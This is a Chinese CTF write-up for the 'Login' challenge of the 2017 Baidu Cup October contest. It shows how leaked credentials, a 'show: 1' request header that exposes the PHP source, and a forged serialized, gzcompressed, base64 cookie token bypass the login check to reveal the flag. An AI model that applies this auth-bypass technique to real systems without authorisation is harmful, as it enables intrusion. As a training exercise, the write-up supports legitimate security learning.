2018小训—2017_“百度杯”CTF比赛_十月场_Login

题目源:  https://www.ichunqiu.com/battalion?q=2725  i春秋上滴题目

小工具:  Burp Suite(抓包神器)、http://base64.xpcha.com/(base64在线解码网站)、https://tool.lu/coderunner/(php在线编写运行网站)

思路点用黄色加粗标记、操作点用绿色加粗标记。

解题的流程:

    1.登录题,输username:admin password:admin没什么软用(前期各种尝试判断可能的题型),检查源码,在源码的最下面有发现,ps:一开始还真没看见藏在最小面的小惊喜,提醒审计的时候要确认你真的看全了。

     尝试username:test1 password:test1,登录成功!

    2.就一个掀桌子的画面,检查源码,啥也没有。怀疑人生,,应用层的看完了,看看数据层有没有惊喜,查看数据包使用BurpSuite抓包(抓的是掀桌子的那个包,就是刷新掀桌子,截取数据包在BurpSuit里查看response)。

     注意右边有个show:0返回,这是什么意思呢?状态标记吧,如果提交一个show:1会返回什么呢?

    3.更改数据包的内容,添加一项show: 1;(注意英文字符,冒号后面有一个空格)

     在右边返回了一份源码。

    4.观察分析这份源码,阔以发现

if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  //login是requset中token对应的字符串,经过解base64、反gzuncompress、反serialize出来的
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  if($login['user'] === 'ichunqiu')//产生flag的判断条件,那么login是怎么来的?
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}

      所以我们要将ichunqi依次serialize、gzcompress、base64_encode。在线网站写个php脚本

$key=array("user"=>"ichunqiu");
$a=base64_encode(gzcompress(serialize($key)));
echo $a;

    5.将结果写入抓的数据包,在cookie中添加token=XXXXXXXXXX;(脚本的结果)

     注意token前面有个空格,结尾有个分号。在右框的最下方阔以看见flag。

猜你喜欢

转载自www.cnblogs.com/goodswarm/p/9288542.html